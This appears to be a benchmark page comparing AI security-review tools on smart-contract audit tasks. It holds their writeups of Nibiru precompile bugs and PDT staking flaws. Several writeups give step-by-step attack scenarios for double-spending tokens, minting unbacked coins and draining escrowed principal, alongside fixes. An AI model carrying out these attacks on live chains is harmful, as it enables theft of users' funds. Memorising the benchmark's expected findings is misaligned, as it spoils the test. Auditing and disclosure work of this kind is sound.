Inference: a contract can revert a subcall's internal withdrawal debit while retaining its bank payout, then catch the revert in a successful outer transaction; repeated withdrawals can exhaust collateral managed by that contract. A transfer committed before an ABI-decoding or later bank-send error can also remain escrowed despite a caught failed conversion, leaving the depositor without the promised bank payout.
- Description
-
The FunToken precompile writes bank state directly through the SDK context and executes transfer and burn through independently created, committed EVM StateDB instances. Those mutations are not appended to the enclosing EVM's journal.
SnapshotandRevertToSnapshotonly record and replay that enclosing journal, so they cannot undo the precompile's SDK writes or its nested keeper commits.ApplyEvmTxdiscards its transaction cache when the entire EVM transaction fails, but commits it when an enclosing contract catches a reverted subcall and ultimately succeeds. Thus transaction-level caching does not provide call-frame atomicity for either a completed conversion followed by a nested revert or an adapter error after a transfer has already committed.
Codex Security (GPT-6 Sol)
EVM snapshot reverts leave native precompile writes intact
x/evm/precompile/wasm.go:161Predicted severity: High- Root cause
-
Wasm/FunToken mutate SDK context; StateDB RevertToSnapshot undoes only EVM journal; successful outer tx commits SDK cache.
- Impact
-
A contract can catch a reverted nested EVM call after a native precompile has changed Wasm or bank state, allowing native writes to survive the EVM revert. Top-level failed EVM tx discards SDK cache; issue requires caught nested revert and outer success.
- Description
-
A contract can catch a reverted nested EVM call after a native precompile has changed Wasm or bank state, allowing native writes to survive the EVM revert.
- Exploit scenario
-
Wasm/FunToken mutate SDK context; StateDB RevertToSnapshot undoes only EVM journal; successful outer tx commits SDK cache.
- Recommendation
-
Include native keeper writes in EVM snapshot rollback, or execute precompile mutations in a matching cache context that is discarded on nested revert.
Devin Security
FunToken bankSend writes outside the EVM state cache, so a stale ERC20 balance is written back and tokens are spent twice
x/evm/precompile/funtoken.go:67Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with an EVM account can turn their ERC20 tokens into bank coins and still keep the tokens, then convert the duplicate coins back to drain other users' escrowed tokens.
##### What's wrong
This is a state desynchronization double spend. The FunToken precompile moves ERC20 tokens through a separate inner EVM call that commits straight to the Cosmos context, but the outer EVM transaction keeps its own cached copy of the same ERC20 storage and writes that stale copy back at the end.
##### Who can do it
Alice and many other users have converted their bank coins or ERC20 tokens through a FunToken mapping, so the EVM module holds their escrow. Mallory, who has any funded EVM account, deploys a small contract and holds 100 units of a mapped ERC20 token.
- Mallory can send an Ethereum transaction (no special permissions).
- The ERC20 token has a FunToken mapping (any token can get one by paying the creation fee).
- The outer EVM call reads the ERC20 balance slot before calling
bankSend, so it is cached.##### What they get
Mallory's contract calls
balanceOfon the token, thenbankSendfor 100 units, thentransferof 100 units to a second address. The bank side gives her 100 coins, and the outer EVM still believes she has 100 tokens, so the transfer succeeds and overwrites the inner deduction. She repeats this and usesConvertCoinToEvmto pull real tokens out of the EVM module escrow. For coin-backed mappings,bankSendpays her out of escrowed native coins directly. She can drain every user's escrow for every mapped token.##### How it works
1.
Runtakes the raw transaction context from the StateDB withstateDB.GetContext()(funtoken.go:73) and passes it tobankSend.2.
bankSendcallsERC20().Transfer(funtoken.go:162), which runsCallContractWithInputwith commit=true and builds a new StateDB on the same context (x/evm/keeper/erc20.go:167-224), so the balance change is written to the store immediately.3.
bankSendthen mints or releases bank coins and sends them to the recipient on that same context (funtoken.go:168-195). None of this is recorded in the outer StateDB journal.4. The outer StateDB already cached the ERC20 balance slot in
originStorage(x/evm/statedb/state_object.go:258-266). A latertransferin the same transaction reads the stale value.5. At the end,
StateDB.Commitwrites the dirty slot with the stale-based value (x/evm/statedb/statedb.go:454-480), which undoes the inner deduction while the bank coins stay minted.6. If an inner call frame that invoked
bankSendreverts while the outer transaction succeeds, the bank and ERC20 changes also persist because they were never journaled. - Exploit scenario
-
Not specified.
- Recommendation
-
Make precompile side effects part of the StateDB. Before a precompile runs, flush the outer StateDB's dirty state to a cached context. Run the precompile on that cached context, record a journal entry so a revert discards it, and then reload or invalidate the affected cached state objects (ERC20 contract storage and account balances) after the call. Upstream Nibiru later added a precompile journal entry and a CacheCtx inside the StateDB for this reason. To check the fix, write an end-to-end test where one contract calls
balanceOf, thenbankSend, thentransferin a single transaction. Thetransfermust fail with insufficient balance. Add a second test wherebankSendruns in a call frame that reverts inside try/catch. Both the bank balance and the ERC20 balance must be unchanged.
Devin Security (Deep)
Wasm precompile fund transfers are minted back to the caller when the EVM state is committed (infinite NIBI mint)
x/evm/precompile/wasm.go:92Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send an Ethereum transaction on the chain can create NIBI out of nothing by paying
fundsthrough the Wasm precompile, because the EVM commit step mints the spent amount straight back to the payer.##### What's wrong
This is a stale balance cache being used as the source of truth. The EVM state database caches each account's NIBI balance when it first touches the account, and on commit it forces the bank balance to equal that cached number by minting or burning the difference. The Wasm precompile moves NIBI through the bank module directly, outside that cache, so the cache never learns about the spend and the commit mints it back.
##### Who can do it
Alice runs a validator on Acme Chain. Mallory holds a small amount of NIBI in an ordinary account. Mallory deploys a tiny Solidity contract and instantiates (or picks) any Wasm contract that will hand funds back to her. She sends one Ethereum transaction that calls her contract, which stores one value and then calls the Wasm precompile
executewithfundsset to all of its NIBI.- Mallory needs an account with NIBI for gas and for the first
fundspayment.- Mallory needs any Wasm contract address that accepts coins (she can create one through the precompile
instantiatemethod if a permissionless code ID exists, or use any existing contract that returns funds).- Nothing else is required. The Wasm precompile is registered unconditionally in
InitPrecompilesand wired into the app inapp/app.go:192.##### What they get
Mallory's contract pays F NIBI to the Wasm contract, and at the end of the same transaction the chain mints F NIBI back to Mallory's contract. The Wasm contract still holds the F it received, so each call creates F new NIBI. She can repeat this inside one transaction with
executeMultiand across transactions without limit, inflating the native token supply and draining value from every NIBI holder on the chain. Becauseinstantiatealso movesfunds, the same trick works there.The same root cause means that when an inner EVM call reverts after calling this precompile, the Wasm and bank side effects stay in place while the EVM side is rolled back, so dApps cannot rely on atomicity around these calls either.
##### How it works
1. Mallory's contract A is called by her transaction; the EVM loads A's account into the state database with its current bank balance B (
x/evm/statedb/statedb.go:209-224,x/evm/keeper/statedb.go:27-35).2. A writes one storage slot, which marks A as dirty in the journal (
x/evm/statedb/state_object.go:277-290).3. A calls the Wasm precompile
executewithfunds = F unibi; the precompile takes the raw transaction context from the state database and calls the Wasm keeper with A's address as the payer (x/evm/precompile/wasm.go:97,160-161).4. The Wasm keeper moves F unibi from A's bank account to the Wasm contract in that context. The EVM state database's cached balance for A is still B.
5. The transaction finishes and
StateDB.Commitwrites every dirty account with its cached balance (x/evm/statedb/statedb.go:454-467).6.
SetAccountcallsSetAccBalance, which compares the cached B against the real bank balance B minus F and mints F to A to make them match (x/evm/keeper/statedb.go:68-100,129).7.
ApplyEvmTxcommits the cached context because the EVM call did not fail (x/evm/keeper/msg_server.go:104-107). A has B again and the Wasm contract has F. - Exploit scenario
-
Not specified.
- Recommendation
-
Make precompile side effects part of the EVM state database's transactional model. Two common approaches: (a) have the precompile run its bank and Wasm calls against a cached context (
ctx.CacheContext()), append a journal entry to the StateDB that commits that cache only onCommitand discards it on revert, and after the call refresh the cachedBalanceWeiof any EVM account whose bank balance changed (or invalidate the state objects for the caller); or (b) stop using the cached balance as the source of truth inCommit: track balance deltas in the journal and applyAddBalance/SubBalancestyle changes to the bank module instead of forcing the bank balance to equal the cached value. In either case, rejectfundsin the EVM denom from precompiles until the sync is fixed. To verify: write a test where a contract stores a value, callsexecutewithfundsof N unibi to a Wasm contract, and assert after the transaction that the caller's bank balance decreased by N and total supply of unibi is unchanged.
Vercel Security Review
Native precompile writes survive reverted EVM call frames
x/evm/precompile/wasm.go:160Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. New Wasm calls mutate the transaction's SDK context directly** -
x/evm/precompile/wasm.go:160-161```go title="x/evm/precompile/wasm.go:160-161"
callerBech32 := eth.EthAddrToNibiruAddr(caller)
data, err := p.Wasm.Execute(ctx, wasmContract, callerBech32, msgArgs, funds)
```
**2. EVM rollback restores only its in-memory journal** -
x/evm/statedb/statedb.go:440-444```go title="x/evm/statedb/statedb.go:441-444"
// Replay the journal to undo changes and remove invalidated snapshots
s.journal.Revert(s, snapshot)
s.validRevisions = s.validRevisions[:idx]
```
No journal entry restores SDK stores. An attacker can execute a precompile inside an inner frame, revert that frame, and catch the failure externally. Wasm storage and native transfers persist while EVM accounting rolls back.
**3. A successful outer transaction persists those effects** -
x/evm/keeper/msg_server.go:104-107```go title="x/evm/keeper/msg_server.go:104-107"
if !evmResp.Failed() {
receipt.Status = gethcore.ReceiptStatusSuccessful
commit()
}
```
Top-level failure discards the cache, but caught failures do not, breaking contract atomicity across the VM boundary.
- Exploit scenario
-
Not specified.
- Recommendation
-
Extend EVM snapshots and rollback to cover the SDK multistore, events, and nested keeper calls. Native writes must be journaled at the same call-frame scope as EVM changes, not merely cached once per top-level transaction. Test successful precompiles followed by inner reverts, caught precompile errors, and partially failing executeMulti calls.
-
RequiredGas() in funtoken and oracle precompiles does not account for dynamic-type gas usage nibiru-9 · 1 writeup Medium
V12
Malformed oracle pairs incur size-independent gas charges
x/evm/precompile/oracle.go:29Predicted severity: Informational- Root cause
-
A fixed oracle gas charge is combined with unbounded separator splitting and full-input error formatting before pair validation. The failure-path parser work is not bounded or priced by the pair's size in the visible implementation.
- Impact
-
The supported resource-risk inference is repeated CPU and allocation pressure from malformed oracle queries whose per-call work grows with input size while their visible gateway gas charge stays constant. The precise exploit budget remains unresolved because the geth replacement's precompile runner is not available in the repository; the searched boundary includes ABI dispatch, pair validation, intrinsic transaction gas, EVM accounting, and RPC gas-cap construction, none of which adds pair-size pricing to this handler.
- Description
-
Oracle calls always cost
TxGas, regardless of the encoded pair string's length. After ABI decoding,queryExchangeRatepasses that caller-controlled string toTryNewPair, which callsstrings.Spliton every colon before checking that exactly two assets were supplied. For an oversized, colon-heavy string, this allocates a slice proportional to the separator count and then formats the entire invalid string into the error. Denomination validation occurs only after these operations, so it cannot bound their work. Reusing such input across EVM calls can repeat the allocation and formatting at the same gateway price; actual denial-of-service magnitude and any additional dependency-level charging remain unverified.
-
Funtoken precompile does not verify ERC-20 transfer boolean return nibiru-10 · 7 writeups Medium
V12
False token transfers mint unbacked redeemable coins
x/evm/keeper/erc20.go:73Predicted severity: Critical- Root cause
-
bankSendtreats a nil Go error as proof of ERC20 payment while discarding the authoritative boolean returned byerc20Calls.Transfer. Bank minting is consequently not conditional on a successful inbound transfer. - Impact
-
Inference: for a mapped ERC20 that returns false on insufficient balance and permits valid outbound transfers, a caller can mint unbacked bank coins and redeem them against ERC20 reserves deposited by other holders. The existing outbound escrow-balance check limits withdrawals to the available reserves rather than preventing their unauthorized depletion.
- Description
-
The
Transferwrapper decodes and returns the ERC20 transfer boolean independently of its Go error. In the inbound FunToken precompile,bankSenddiscards that boolean and proceeds whenever the Go error is nil. For an ERC20-origin mapping, it then mintsamountbank coins and sends them to the requested recipient without verifying that any ERC20 entered escrow. An ERC20 that returnsfalserather than reverting on insufficient balance therefore allows the conversion to succeed without payment. The outbound conversion checks its transfer boolean and escrow balance, but those checks do not establish that the previously minted bank coins were backed.
Codex Security (GPT-6 Sol)
FunToken bankSend mints coins when ERC20 transfer returns false
x/evm/keeper/erc20.go:86Predicted severity: High- Root cause
-
ERC20.Transfer returns false,nil; bankSend discards bool and mints/sends corresponding bank coins.
- Impact
-
A registered ERC20 that returns false from transfer can cause FunToken to mint and send unbacked native coins. Mapping and positive amount checks do not prove ERC20 transfer success.
- Description
-
A registered ERC20 that returns false from transfer can cause FunToken to mint and send unbacked native coins.
- Exploit scenario
-
ERC20.Transfer returns false,nil; bankSend discards bool and mints/sends corresponding bank coins.
- Recommendation
-
Require ERC20 transfer to return true before minting or sending the mapped bank coin.
Devin Security
bankSend ignores the ERC20 transfer result and mints the requested amount instead of the amount received
x/evm/precompile/funtoken.go:160Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If a mapped ERC20 returns false instead of reverting, or charges a fee on transfer, a user can get more bank coins than the tokens they put in and use them to drain other holders' escrow.
##### What's wrong
This is a missing return-value and balance check.
bankSendthrows away the boolean thattransferreturns. It also mintsamountbank coins without measuring how many tokens the EVM module actually received.##### Who can do it
Mallory has any EVM account. Acme's token, which returns
falseon a failed transfer (USDT-style) or takes a transfer fee, has a FunToken mapping, and Alice and others have bridged it.- The mapped ERC20 returns false on failure or delivers less than
amount.- The EVM module holds escrowed tokens from other users.
##### What they get
Mallory calls
bankSendwith an amount larger than her balance. The token returns false, the precompile ignores it, and it mints her the full amount as bank coins. She then callsConvertCoinToEvmto take real tokens out of the module escrow that belongs to Alice and the other users. With a fee-on-transfer token, each round trip leaks the fee out of the escrow in the same way.##### How it works
1.
bankSendcallsERC20().Transferand discards the boolean result (funtoken.go:162).2. It builds coins from the requested
amount(funtoken.go:168-169) and mints them for non-coin mappings (funtoken.go:181).3. It sends those coins to the recipient (funtoken.go:190) without checking the EVM module's balance change.
4.
convertCoinNativeERC20later releases up to the escrowed balance for those coins (x/evm/keeper/msg_server.go:613-641). - Exploit scenario
-
Not specified.
- Recommendation
-
Fail when
Transferreturns false. Measure the EVM module's ERC20 balance before and after the transfer, and mint or send only the difference. The reverse path already checks balances this way. To check the fix, add a test with a mock ERC20 whosetransferreturns false and a second mock that charges a 1% fee.bankSendmust fail for the first and mint 99% for the second.
Devin Security (Deep)
bankSend ignores the ERC20 transfer return value and performs no balance check before minting bank coins
x/evm/precompile/funtoken.go:160Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
For any FunToken whose ERC20 returns false instead of reverting on a failed transfer, anyone can mint bank coins without giving up tokens and then redeem them against other users' escrowed tokens.
##### What's wrong
This is a missing success check on an external token transfer.
bankSendcallsERC20().Transferand discards its boolean result, then mints or pays out bank coins for the full amount. The sibling pathconvertCoinNativeERC20in the keeper checks both the boolean and the recipient's balance delta; this path does neither.##### Who can do it
Mallory, any EVM user, targets an ERC20 that has a FunToken mapping and follows the older ERC20 convention of returning
falseon insufficient balance rather than reverting.- The ERC20 must not revert on a failed transfer (true for a number of legacy tokens; not true for the module-deployed
ERC20Minter).- Other users must have converted that token to bank coins, so the module holds escrow.
##### What they get
Mallory calls
bankSend(TOKEN, N, her_nibi_addr)with no TOKEN balance. The transfer returns false, nothing moves, and the precompile mints Nerc20/TOKENbank coins to her. She converts them back withMsgConvertCoinToEvm, which pays N real TOKEN from the module's escrow deposited by other users. She can repeat until the escrow is empty.##### How it works
1.
bankSendcallsp.evmKeeper.ERC20().Transfer(erc20, caller, module, amount, ctx)and keeps onlyerr(x/evm/precompile/funtoken.go:160-165).2.
Transferreturns(false, nil)when the token returns false without reverting (x/evm/keeper/erc20.go:73-93).3.
bankSendproceeds toMintCoinsandSendCoinsFromModuleToAccountfor the full amount (x/evm/precompile/funtoken.go:167-195).4.
convertCoinNativeERC20later pays escrowed ERC20 to whoever holds those bank coins (x/evm/keeper/msg_server.go:584-671). - Exploit scenario
-
Not specified.
- Recommendation
-
Check the boolean returned by
Transferand fail if false. Also read the module's ERC20 balance before and after the transfer and require the delta to equalamount(asconvertCoinNativeERC20does). Verify with a test using a mock ERC20 whosetransferreturns false;bankSendmust fail and no bank coins may be minted.
Claude Security (Sonnet 5.5)
FunToken bankSend runs ERC20 transfer/burn through a separate StateDB on the shared ctx, so the outer EVM's stale dirty storage overwrites it and ERC20 supply and bank escrow diverge
x/evm/precompile/funtoken.go:162Predicted severity: High- Root cause
-
Vulnerable symbol: precompileFunToken.bankSend
Preconditions: A FunToken mapping exists for a token the attacker can hold (creation is permissionless for a fee); Attacker calls bankSend from a contract that has touched the same token slots earlier in the same tx
Offending code:
_, err = p.evmKeeper.ERC20().Transfer(erc20, caller, transferTo, amount, ctx)
- Impact
-
Theft of escrowed native coins backing coin-origin FunTokens, and inflation of ERC20-origin tokens (bank coins minted without matching burn, tokens duplicated), both exploitable by any user able to deploy a contract.
- Description
-
A contract caller's earlier ERC20 writes are only in the outer StateDB journal, not in the store. bankSend's nested CallContractWithInput creates a fresh StateDB, reads committed (older) balances, commits straight to ctx, and mints or releases bank coins; the outer StateDB later commits its older dirty slot values over the nested writes. Also CWE-252: ERC20().Transfer returns the token's boolean result, but bankSend discards it and then mints (or releases from escrow) the full amount of bank coin. The reverse path convertCoinNativeERC20 checks both
resand the receiver's balance delta, so the two paths into the same escrow accounting have inconsistent checks. - Exploit scenario
-
Attacker contract C holds B0 of an ERC20 T that has a FunToken mapping. In one tx: (1) C calls T.transfer(attacker2, B0), which makes C's balance slot dirty in the outer StateDB; (2) C calls bankSend(T, B0, nibi1...). The nested Transfer reads C's committed balance B0, moves B0 to the EVM module, and the precompile mints (or releases from escrow) B0 bank coins to the recipient; (3) at tx end the outer StateDB commits attacker2's B0 and C's dirty slot, and the nested decrement of C is lost or overwritten. Result: attacker2 holds B0 tokens and the recipient holds B0 coins. For a mapping created from a bank coin, the nested Burn lowers totalSupply while the outer balances sum is unchanged and native coins are released from escrow, so the ERC20 mirror becomes under-collateralized and later redeemers lose funds. Repeating doubles the position each tx.
- Recommendation
-
Flush the outer StateDB into the ctx before running the precompile and resync (or clear) its cached objects afterward, or perform the ERC20 interaction inside the same StateDB/EVM instance (a normal nested call) rather than via a new StateDB on the shared ctx. Also CWE-252: Require the returned bool to be true and verify the EVM module's ERC20 balance increased by exactly
amountbefore minting or releasing coins, mirroring convertCoinNativeERC20. Consider rejecting fee-on-transfer tokens at mapping creation.
Claude Security (Opus 5.5)
FunToken precompile runs a nested EVM on stale KV state that the outer StateDB later overwrites, so ERC20 tokens can be double-spent and escrow drained
x/evm/precompile/funtoken.go:162Predicted severity: Critical- Root cause
-
Vulnerable symbol: precompileFunToken.bankSend
Preconditions: A FunToken mapping exists for the ERC20 (normal protocol state); Attacker holds some of the token and can deploy a contract
Offending code:
_, err = p.evmKeeper.ERC20().Transfer(erc20, caller, transferTo, amount, ctx)
- Impact
-
Any user can mint ERC20 balances out of nothing and drain the bank-coin or ERC20 escrow behind every FunToken mapping. Bridged assets become insolvent.
- Description
-
bankSend takes the outer StateDB's raw sdk.Context and calls ERC20().Transfer/Burn. That goes through CallContractWithInput -> ApplyEvmMsg, which builds a fresh StateDB on the same ctx and commits straight to KV. The nested call cannot see the outer StateDB's uncommitted dirty storage. When the outer tx commits, its cached slots overwrite whatever the nested call wrote. Also CWE-290: bankSend takes contract.CallerAddress, which can be any contract, and passes it as
fromto ERC20().Transfer. That function builds a new top-level geth Message from that address (erc20.go:192) and runs it with ApplyEvmMsg/NewEVM, which sets TxContext.Origin = msg.From() (msg_server.go:172). The nested execution therefore runs with tx.origin set to a contract address, which normal Ethereum semantics never allow. Also CWE-252: The ConvertCoinToEvm path rejects!resand verifies the exact balance delta. The precompile path to the same escrow discards Transfer's bool and mintsamountcoins whatever the EVM module actually received. - Exploit scenario
-
The attacker deploys contract C holding 100 units of a FunToken-mapped ERC20 T. In one tx C first calls T.transfer(X, 100) in the EVM, so the outer StateDB caches bal(C)=0 and bal(X)=100 as dirty while KV still says bal(C)=100. C then calls bankSend(T, 100, attackerNibiAddr) on precompile 0x...800. The nested EVM reads bal(C)=100 from KV and moves it to the EVM module. For a coin-backed mapping it then burns those tokens and sends 100 escrowed bank coins to the attacker. For an ERC20-backed mapping it mints 100 coins, which ConvertCoinToEvm later redeems against the module's escrow. At the end of the tx the outer StateDB writes bal(C)=0 and bal(X)=100. X keeps 100 T and the attacker also holds 100 bank coins. Repeating the loop drains the escrow of every mapping. The same staleness can be reached through wasm.execute when the wasm contract dispatches MsgConvertCoinToEvm, which also runs nested EVM calls on the shared ctx.
- Recommendation
-
Do not run nested EVM executions against the outer StateDB's context. Run precompile side effects on a cache context that is journaled in the StateDB, flush or commit the outer StateDB's dirty state before the nested call, or do the ERC20 movement inside the outer EVM (for example via the outer StateDB or a sub-call of the current EVM) instead of a separate ApplyEvmMsg. Also CWE-290: Do not start a new top-level EVM message from an arbitrary caller. Either perform the token debit inside the current EVM frame using the existing StateDB and EVM, keeping the outer tx.origin, or have the module account move the tokens (for example with transferFrom and an allowance). If a nested message is unavoidable, reject callers that have code, or set Origin to the outer transaction's origin. Also CWE-252: Require Transfer to return true, and mint or send coins only for the measured increase in the EVM module's ERC20 balance (balance after minus balance before), mirroring convertCoinNativeERC20.
Vercel Security Review
Ignored ERC20 transfer failures mint unbacked FunToken coins
x/evm/keeper/erc20.go:92Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. ERC20 transfer failure can be a successful EVM call** -
x/evm/keeper/erc20.go:92```go title="x/evm/keeper/erc20.go:92"
return erc20Bool.Value, nil
```
A registered ERC20 may legitimately signal insufficient balance by returning
falseinstead of reverting.**2. The new deposit path discards that failure flag** -
x/evm/precompile/funtoken.go:162-165```go title="x/evm/precompile/funtoken.go:162-165"
_, err = p.evmKeeper.ERC20().Transfer(erc20, caller, transferTo, amount, ctx)
if err != nil {
return nil, fmt.Errorf("failed to send from caller to the EVM account: %w", err)
}
```
An ordinary caller can request an amount they do not own;
false, nilpasses this check.**3. Native claims are minted without receiving collateral** -
x/evm/precompile/funtoken.go:180-182```go title="x/evm/precompile/funtoken.go:180-182"
} else {
err = p.bankKeeper.MintCoins(ctx, evm.ModuleName, coins)
if err != nil {
```
Line 190 pays the requested coins to the caller's recipient. These unbacked claims can redeem other users' escrowed ERC20 through
convertCoinNativeERC20. - Exploit scenario
-
Not specified.
- Recommendation
-
Require both a nil error and a true transfer result before minting. Also verify the EVM module's ERC20 balance increased by the amount being credited, rejecting unsupported fee-on-transfer or other nonconserving token behavior. Keep failed deposits atomic and test false-returning ERC20 contracts.
-
-
PDT Staking Solidity ParagonsDAO staking program. Tasks 2 V12 2/2 Codex Sec 1/2 Pashov Opus 1/2 Pashov GPT-6 2/2 Devin 0/2 Devin (Deep) 1/2 Claude Sec 0/2 Claude Opus 0/2 Vercel 0/2
ParagonsDAO staking program.
Read the audit report-
Reward-token registration is irreversible pdt-staking-1 · 2 writeups Critical
V12
One broken reward token blocks principal exits
src/contracts/StakedPDT.sol:221Predicted severity: High- Root cause
-
distribute()assumes every registered reward balance remains at least its reserve and every balance query succeeds. The append-only token registry provides no failure isolation or retirement path. - Impact
-
A deficient or nonresponsive registered reward token can freeze all principal exits and epoch settlement, not merely claims of that token. Replenishment or repair of the dependency may restore operation, and a manager may extend the epoch, but the contract cannot retire a permanently broken reward token.
- Description
-
Every registered reward token is queried and its balance is subtracted from its recorded reserve during
distribute(). If one token's balance falls below its reserve, such as a balance of 99 against a reserve of 100, checked subtraction reverts even when another token has ample new rewards. A reverting or invalidbalanceOf()implementation similarly aborts the whole rollover. Registration requires only a nonzero, nonduplicate address, and the implementation has no removal or skip mechanism for a failed token. Because users cannot unstake after the deadline, failure of one reward dependency also blocks redemption of the independent PDT principal.
Pashov (Codex GPT-6 Sol high)
A malformed reward token can freeze epoch progression
src/contracts/StakedPDT.sol:221Predicted severity: Medium- Root cause
-
Registration accepts any nonzero address without checking its token behavior, and distribute loops over every registered token unconditionally.
- Impact
-
An invalid reward-token entry can permanently block epoch progression and leave staked PDT locked after the deadline.
- Description
-
The token manager can register an address whose balanceOf call fails; every later distribute call reverts and no function can remove the address.
- Exploit scenario
-
A token manager registers an EOA or failing token. After the epoch ends, distribute fails on its balanceOf call and unstake rejects all users as out of epoch.
- Recommendation
-
Validate balanceOf at registration and provide a controlled removal or skip mechanism for failed tokens.
-
PDT can be set as a reward token and withdrawn by admin pdt-staking-2 · 5 writeups Medium
V12
Staking principal can also become reward backing
src/contracts/StakedPDT.sol:221Predicted severity: Low- Root cause
-
distribute()partitions rewards only byunclaimedRewardsand omits principal liabilities when the reward asset equalspdt. Registration does not prohibit that conflicting asset identity. - Impact
-
Registering PDT as a reward asset makes the same tokens back both principal redemption and reward claims. Reward payouts or manager withdrawals can therefore leave receipts unbacked and cause subsequent unstaking to fail; the scenario depends on a manager-selected reward configuration, not permissionless registration.
- Description
-
Reward-token registration permits the immutable PDT address, and
distribute()counts the resulting token balance without subtracting receipt principal liabilities. For example, if users have deposited 100 PDT and PDT is registered as a reward token, a rollover reserves those same 100 units as a reward allocation. When the allocated epoch settles,claim()pays those units as rewards while the receipts still represent redeemable PDT. A token-manager withdrawal can likewise remove the registered PDT balance without a principal-liability check. Neither the constructor, registration function, nor distribution distinguishes staking custody from reward surplus.
Codex Security (GPT-6 Sol)
Reward manager can withdraw users' staked PDT
src/contracts/StakedPDT.sol:221Predicted severity: Medium- Root cause
-
registerNewRewardTokenaccepts any nonzero address, including the immutablepdtaddress.withdrawRewardTokenstreats membership in that list as sufficient authority to transfer any amount toTOKEN_MANAGER. Principal backing receipts therefore enters the reward-manager withdrawal path. - Impact
-
Complete principal loss is possible, but exploitation requires a token-manager role holder; that role normally has reward custody but is not meant to control staking principal.
- Description
-
A
TOKEN_MANAGERcan register the immutable PDT principal token as a reward token and then withdraw the deposited principal, leaving stPDT receipts unbacked. - Exploit scenario
-
Manager-chosen token address -> rewardTokenList -> withdrawal registration check ->
safeTransfer(msg.sender, amount)-> missing principal forunstake - Recommendation
-
Reject the immutable
pdtaddress in reward registration and withdrawal, and enforce separate custody accounting for deposited principal.
Pashov (Claude Opus 5.5 high)
PDT can be registered as a reward token, letting staked principal be distributed or withdrawn
src/contracts/StakedPDT.sol:221Predicted severity: Low- Root cause
-
The contract does not separate the staking token's principal from reward-token balances.
- Impact
-
Stakers' principal gets paid out as rewards or withdrawn by TOKEN_MANAGER, leaving the contract unable to honour
unstake(insolvency). - Description
-
registerNewRewardTokendoes not reject the staking tokenpdt. Once PDT is registered,distributetreatsbalanceOf(this) - unclaimedRewards[pdt], which includes every staker's principal, as new rewards.withdrawRewardTokens(pdt, amount)also lets TOKEN_MANAGER take staked principal directly. - Exploit scenario
-
TOKEN_MANAGER (malicious or mistaken) registers PDT to distribute PDT incentives. At the next
distribute, all staked PDT is counted as rewards and early claimers withdraw it. Laterunstakecalls revert for lack of balance. Alternatively, TOKEN_MANAGER callswithdrawRewardTokens(pdt, totalSupply()). - Recommendation
-
Reject
newRewardToken == pdtinregisterNewRewardToken. If PDT rewards are needed, track principal (totalSupply()) separately and exclude it from reward balances and withdrawals.
Pashov (Codex GPT-6 Sol high)
Reward token registration exposes staked PDT principal
src/contracts/StakedPDT.sol:221Predicted severity: High- Root cause
-
registerNewRewardToken does not reject newRewardToken == pdt.
- Impact
-
A claimant can receive staked principal as a reward and still hold redeemable stPDT, making later withdrawals insolvent.
- Description
-
The token manager can register PDT itself as a reward token; distribution then counts deposited principal as free reward inventory while receipt liabilities remain.
- Exploit scenario
-
The token manager registers PDT as a reward token. Two users each stake 100 PDT; distribute allocates the held 200 PDT as rewards. A claimant receives PDT while retaining stPDT, leaving insufficient principal for later exits.
- Recommendation
-
Reject PDT as a reward token and keep staking principal segregated from reward accounting.
Devin Security (Deep)
TOKEN_MANAGER can register PDT as a reward token and withdraw all staked principal; reward withdrawals ignore owed balances
src/contracts/StakedPDT.sol:221Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An account holding only the TOKEN_MANAGER role, or an attacker who steals that key, can take every staker's PDT and every unpaid reward in one or two transactions, because the role's functions never check the token or the amount against what the contract owes.
##### What's wrong
This is a missing-restriction bug in privileged functions.
registerNewRewardTokenaccepts any address, including the staking tokenpdt, andwithdrawRewardTokenstransfers any amount of any registered token to the caller without checkingunclaimedRewardsor the staked supply. The role meant to manage reward tokens therefore has unrestricted access to user principal and to rewards already allocated to users.##### Who can do it
Acme DAO grants
TOKEN_MANAGERto a reward-operations wallet so a contractor, Bob, can add new reward tokens. Mallory phishes Bob's key. She callsregisterNewRewardToken(pdt)and thenwithdrawRewardTokens(pdt, totalSupply()), sending every staker's PDT to herself. She can also callwithdrawRewardTokens(PRIME, balanceOf(this))to take the PRIME that stakers earned but have not yet claimed.Conditions that must hold:
- The caller holds
TOKEN_MANAGER(granted toinitialOwnerin the constructor; may be delegated).- For the principal drain,
pdtis not yet inrewardTokenList(there is no check preventing it).##### What they get
Mallory gets all PDT ever staked by all users, plus all reward tokens sitting in the contract including those already owed to users. Even an honest but careless TOKEN_MANAGER causes damage: withdrawing more than
balance - unclaimedRewardsmakesdistributeunderflow at line 272 and revert, which freezes stake and unstake for everyone until the tokens are returned, and makesclaimfail for users whose rewards were taken. If PDT is registered,distributewould also pay out staked PDT as rewards, leaving the contract unable to honour unstakes.##### How it works
1. Mallory, holding
TOKEN_MANAGER, callsregisterNewRewardToken(pdt)at StakedPDT.sol:221; lines 222 to 237 only reject the zero address and duplicates.2. She calls
withdrawRewardTokens(pdt, amount)at StakedPDT.sol:312; lines 327 to 340 confirm the token is registered and line 342 transfersamounttomsg.senderwith no comparison tototalSupply()orunclaimedRewards.3. For reward tokens, the same call at line 342 can take tokens counted in
unclaimedRewards, and the nextdistributecomputes_rewardBalance - unclaimedRewards[_token]at line 272, which underflows and reverts, locking epoch rollover. - Exploit scenario
-
Not specified.
- Recommendation
-
In
registerNewRewardTokenaddrequire(newRewardToken != pdt). InwithdrawRewardTokenscapamountatIERC20(rewardToken).balanceOf(address(this)) - unclaimedRewards[rewardToken](the idle, not-yet-allocated amount) and revert otherwise. Consider sending withdrawals to a fixed treasury address rather thanmsg.sender. Test: assertregisterNewRewardToken(pdt)reverts, and thatwithdrawRewardTokensreverts whenamountexceeds the idle balance whiledistributestill succeeds afterwards.
-
-
Perennial Solidity Perennial perpetuals vault + market. Tasks 3 V12 2/3 Codex Sec 0/3 Pashov Opus 1/3 Pashov GPT-6 1/3 Devin 0/3 Devin (Deep) 1/3 Claude Sec 0/3 Claude Opus 0/3 Vercel 0/3
Perennial perpetuals vault + market.
